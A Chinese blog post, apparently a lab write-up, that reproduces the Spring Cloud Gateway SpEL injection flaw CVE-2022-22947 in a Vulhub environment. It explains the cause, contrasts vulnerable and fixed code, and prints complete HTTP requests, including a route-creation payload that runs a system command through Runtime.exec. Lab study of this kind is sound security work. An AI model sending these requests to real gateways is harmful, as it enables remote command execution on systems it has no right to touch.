首页 > 基础资料 博客日记

Spring Cloud Gateway 的 SpEL 表达式注入漏洞(CVE-2022-22947)

2026-06-12 10:00:02基础资料围观3

本篇文章分享Spring Cloud Gateway 的 SpEL 表达式注入漏洞(CVE-2022-22947),对你有帮助的话记得收藏一下,看极客资料网收获更多编程知识

Spring Cloud Gateway 的 SpEL 表达式注入漏洞(CVE-2022-22947)

受影响版本

以下版本的 Spring Cloud Gateway 存在此漏洞:

  • 3.1.0
  • 3.0.0 至 3.0.6
  • 以及其他更早的、已停止维护的版本

环境搭建

由于我是在公司电脑(刚入职),所以从头配了个ubuntu,流程大致:先换apt、dns、dockerhub image缓存服务器镜像源,把docker和dockercompose下好,拉取镜像,我这里因为拉过了所以重启就直接起来了。

image

前面两个去环境配置里找,这里附上最后一个dockerhub

直接复制粘贴下面整条命令到终端执行,它会自动为你添加几个当前可靠的加速地址,并重启 Docker。

bash

# 配置阿里云、中科大、网易三个公共镜像源作为加速器
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
  "registry-mirrors": [
    "https://docker.mirrors.ustc.edu.cn",
    "https://hub-mirror.c.163.com",
    "https://mirror.ccs.tencentyun.com"
  ]
}
EOF
# 重启Docker服务使配置生效
sudo systemctl daemon-reload
sudo systemctl restart docker

入门指南 | Vulhub漏洞环境使用vulhub,cd到要复现的cve后直接docker compose up -d就能拉取镜像并启动环境了,这个用的是8080端口,有的人可能bp用的这个端口可能会导致冲突什么的,可以改yaml文件也可以直接改自己的bp配置,我这里用的yakit没有这个问题

Spring Cloud Gateway

它统一接收所有外部请求,根据规则决定转发到哪个后端服务,并在转发前后执行统一的过滤逻辑(鉴权、日志、限流等),是 Spring Cloud 生态中的API 网关组件

image

SpEL 表达式

Spring Expression Language,Spring 表达式语言,Spring自己的嵌入式脚本,它能在程序运行期间动态地计算值、调用方法、访问属性。

它用来解决什么问题?

假设你想在配置文件里写这样一个逻辑:

// 需求:如果用户等级是VIP,折扣就是0.8,否则是1.0
// 问题:配置文件通常只能写死静态值,不知道怎么表达这个逻辑

不用 SpEL:你只能在代码里硬编码,或者在配置里写多个参数,然后在 Java 代码里写 if-else

用 SpEL:你可以直接在配置里写表达式,让 Spring 在运行时自动计算结果:

discount: "#{ user.level == 'VIP' ? 0.8 : 1.0 }"

漏洞成因

``/actuator/gateway/routes/test`这是 Spring Boot Actuator 暴露的管理端点,用于动态添加路由规则。正常情况下,管理员可以通过它来配置网关如何转发请求。

  • /actuator/gateway/routes:管理路由的 API 路径
  • test:攻击者自定义的路由 ID,用于创建一条新的路由规则

攻击者用这个api,自定义一个路由,载荷里可以定义过滤器,而其中的value字段用#{}(SpEL的执行包装器)包裹恶意表达式

#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}
T(java.lang.Runtime) 获取 Java 的 Runtime 类(用于执行系统命令)
.getRuntime() 获取 Runtime 单例对象
.exec(new String[]{\"id\"}) 执行系统命令 id,返回 Process 对象
.getInputStream() 获取命令执行后的输出流(即 id 命令的结果)
T(org.springframework.util.StreamUtils).copyToByteArray(...) 将输出流读取成字节数组
new String(...) 将字节数组转换成字符串(方便返回和显示)
#{ ... } SpEL 的执行包装器,告诉 Spring 解析并运行里面的代码

创建路由成功后,payload不会立刻解析,需要访问/actuator/gateway/refresh激活所有路由,这个时候刚刚创建的test路由就会开始解析SpEL表达式,成功执行id命令,当攻击者再次访问test路由,就能得到webshell执行id后的回显

漏洞版本 (v3.1.0) 的代码示意:

// 位置: org.springframework.cloud.gateway.support.ShortcutConfigurable
public default String getValue(String key, String value) {
    if (value != null && value.startsWith("#{") && value.endsWith("}")) {
        // ❌ 危险:StandardEvaluationContext 拥有完整的 SpEL 功能
        StandardEvaluationContext context = new StandardEvaluationContext();
        // 可以调用 Java 类、执行静态方法、访问系统资源...
        return parser.parseExpression(value).getValue(context, String.class);
    }
    return value;
}

修复版本 (v3.1.1+) 的代码示意:

// 位置: org.springframework.cloud.gateway.support.ShortcutConfigurable
public default String getValue(String key, String value) {
    if (value != null && value.startsWith("#{") && value.endsWith("}")) {
        // ✅ 安全:GatewayEvaluationContext 基于 SimpleEvaluationContext
        // 只支持基本的属性访问,禁止执行任意代码
        GatewayEvaluationContext context = new GatewayEvaluationContext(beanFactory);
        return parser.parseExpression(value).getValue(context, String.class);
    }
    return value;
}

更详细看Spring Cloud Gateway CVE-2022-22947 漏洞分析|NOSEC安全讯息平台 - 白帽汇安全研究院

漏洞复现

攻击流程如图:

image

创建路由

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.19.3:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

image

刷新路由

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.19.3:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

访问路由

GET /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.19.3:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image


文章来源:https://www.cnblogs.com/Sol9/p/20466361
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

相关文章

本站推荐

标签云